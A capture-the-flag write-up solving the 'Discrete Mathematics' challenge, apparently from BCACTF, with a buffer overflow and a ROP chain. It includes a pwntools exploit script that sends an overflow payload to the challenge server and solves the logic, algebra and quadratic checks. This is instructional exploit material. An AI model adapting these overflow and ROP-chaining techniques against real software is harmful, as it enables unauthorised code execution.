Discrete Mathematics
Buffer overflow, with a ROP chain.
The same challenge, but this time we need ot build a ROP chain.
1
void quiz() {
2
FILE *fp = fopen("flag.txt", "r");
3
char flag[100];
4
​
5
if (fp == NULL) {
6
puts("Sorry, all my stuff's a mess.");
7
puts("I'll get around to grading your quiz sometime.");
8
puts("[If you are seeing this on the remote server, please contact admin].");
9
exit(1);
10
}
11
​
12
fgets(flag, sizeof(flag), fp);
13
​
14
if (knows_logic && knows_algebra && knows_functions) {
15
puts("Alright, you passed this quiz.");
16
puts("Here's your prize:");
17
puts(flag);
18
} else {
19
puts("Not there yet...");
20
puts("Study some more!");
21
}
22
}
Copied!
We can't just jump to quiz() directly, since we need to make knows_logic, knows_algebra, and knows_functions True. Each of these variables are only set within their corresponding functions: logic(), algebra() and functions().
If we build a ROP chain as follows, we can control the return addresses of subsequent returns.
Again, we will have to bypass the strcmp() check:
1
if (strcmp(response, "i will get an A")) {
2
puts("I'm sorry, but you obviously don't care about grades.");
3
puts("Therefore, you aren't motivated enough to be in our class.");
4
puts("Goodbye.");
5
exit(1);
6
}
Copied!
Prepare our cyclic pattern payload:
python -c "print 'i will get an A' + '\x00' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'" > ipt.txt
We find that the offset is 56.
We find the function addresses:
  • logic: 0x00401236
  • algebra: 0x00401336
  • functions: 0x0040144d
  • quiz: 0x00401544
1
from pwn import *
2
​
3
logic = 0x00401236
4
algebra = 0x00401336
5
functions = 0x0040144d
6
quiz = 0x00401544
7
​
8
logic = p64(logic)
9
algebra = p64(algebra)
10
functions = p64(functions)
11
quiz = p64(quiz)
12
​
13
offset = 56
14
payload = b"i will get an A"
15
payload += b"\x00"
16
​
17
# Build the ROP chain
18
payload += b"A" * offset
19
payload += quiz
20
payload += logic
21
payload += quiz
22
payload += algebra
23
payload += quiz
24
payload += functions
25
payload += quiz
26
print(payload)
27
​
28
with open('payload', 'wb') as f:
29
f.write(payload)
30
​
31
conn = remote('bin.bcactf.com', 49160)
32
​
33
print(conn.recv())
34
print(conn.recv())
35
​
36
print("\nSending payload...")
37
conn.send(payload + b"\n")
38
​
39
print(conn.recv())
40
​
41
conn.interactive()
42
conn.close()
Copied!
Now, we get an interactive connection where we will first jump to logic(), then algebra(), then functions().
We just have to figure out the appropriate values to pass the checks.
1
void logic() {
2
int p, q, r, s;
3
​
4
printf("p: ");
5
scanf("%d", &p);
6
printf("q: ");
7
scanf("%d", &q);
8
printf("r: ");
9
scanf("%d", &r);
10
printf("s: ");
11
scanf("%d", &s);
12
​
13
knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
14
}
Copied!
So, from (q != s) && s, we know s must be 1, q must be 0.
Then, from (p || q || !r) && (!p || r || !s), we have (p || 0 || !r) && (!p || r || 0), which is (p || !r) && (!p || r). Either p = r = 0 or p = r = 1 works.
1
void algebra() {
2
int x, y, z;
3
​
4
printf("x: ");
5
scanf("%d", &x);
6
printf("y: ");
7
scanf("%d", &y);
8
printf("z: ");
9
scanf("%d", &z);
10
​
11
int eq1 = 5*x - 6*y + 3*z;
12
int eq2 = 2*x + 5*y - 7*z;
13
int eq3 = 4*x + 8*y + 8*z;
14
​
15
knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
16
}
Copied!
We can solve the simultaneous equations to get:
  • x = 3
  • y = -17
  • z = 12
1
void functions() {
2
int a, b, c;
3
​
4
printf("a: ");
5
scanf("%d", &a);
6
printf("b: ");
7
scanf("%d", &b);
8
printf("c: ");
9
scanf("%d", &c);
10
​
11
int vertex_x = -b / (2*a);
12
int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
13
int discriminant = b * b - 4 * a * c;
14
​
15
knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
16
}
Copied!
The values seemed pretty small, so a bruteforce script easily gets the values.
1
for a in range(-10, 10):
2
if a == 0:
3
continue
4
for b in range(-10, 10):
5
for c in range(-10, 10):
6
vertex_x = -b / (2*a)
7
vertex_y = a * vertex_x * vertex_x + b * vertex_x + c
8
discriminant = b * b - 4 * a * c
9
​
10
if (vertex_x == 2) and (vertex_y == -2) and (discriminant == 16):
11
print(a, b, c)
12
break
Copied!
We have:
  • a = 2
  • b = -8
  • c = 6
Plugging these values in, we get the flag.
Copy link